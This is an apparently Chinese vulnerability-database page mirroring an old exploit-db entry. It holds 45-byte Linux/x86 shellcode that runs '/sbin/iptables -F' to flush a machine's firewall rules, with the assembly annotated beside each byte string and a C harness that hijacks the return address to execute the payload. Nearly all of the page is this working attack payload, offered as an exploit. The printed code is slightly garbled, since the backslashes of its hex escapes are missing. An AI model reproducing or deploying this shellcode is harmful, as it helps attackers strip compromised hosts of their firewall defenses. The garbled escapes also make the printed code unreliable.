Linux/x86 – Flush IPTables Rules (/sbin/iptables -F) Shellcode (45 bytes)

Linux/x86 – Flush IPTables Rules (/sbin/iptables -F) Shellcode (45 bytes)

漏洞ID 1054708 漏洞类型
发布时间 2004-09-26 更新时间 2004-09-26
图片[1]-Linux/x86 – Flush IPTables Rules (/sbin/iptables -F) Shellcode (45 bytes)-安全小百科CVE编号 N/A
图片[2]-Linux/x86 – Flush IPTables Rules (/sbin/iptables -F) Shellcode (45 bytes)-安全小百科CNNVD-ID N/A
漏洞平台 Linux_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/13433
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
 * 06/03/2003 
 * 
 * ( 45 bytes ) to flush iptables.
 *
 * _execve(/sbin/iptables -F)  by UnboundeD
 * greetz to s0t4ipv6.
 *
 */

char shellcode[] =

"x31xd2"                      // xorl         %edx,%edx
"x52"                          // pushl        %edx
"x66x68x2dx46"              // pushw        $0x462d
"x89xe6"                      // movl         %esp,%esi
"x52"                          // pushl        %edx
"x68x62x6cx65x73"          // pushl        $0x73656c62
"x68x69x70x74x61"          // pushl        $0x61747069
"x89xe7"                      // movl         %esp,%edi
"x68x62x69x6ex2f"          // pushl        $0x2f6e6962
"x68x2fx2fx2fx73"          // pushl        $0x732f2f2f
"x89xe3"                      // movl         %esp,%ebx
"x52"                          // pushl        %edx
"x56"                          // pushl        %esi
"x57"                          // pushl        %edi
"x89xe1"                      // movl         %esp,%ecx
"x31xc0"                      // xorl         %eax,%eax
"xb0x0b"                      // movb         $0xb,%al
"xcdx80"                      // int          $0x80
;

main() {
        int *ret;
        ret=(int *)&ret +2;
        printf("Shellcode lenght=%dn",strlen(shellcode));
        (*ret) = (int)shellcode;
}

// milw0rm.com [2004-09-26]

相关推荐: Invision Board 1.1.1 – ‘functions.php’ SQL Injection

Invision Board 1.1.1 – ‘functions.php’ SQL Injection 漏洞ID 1053811 漏洞类型 发布时间 2003-04-05 更新时间 2003-04-05 CVE编号 N/A CNNVD-ID N/A 漏洞平台…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享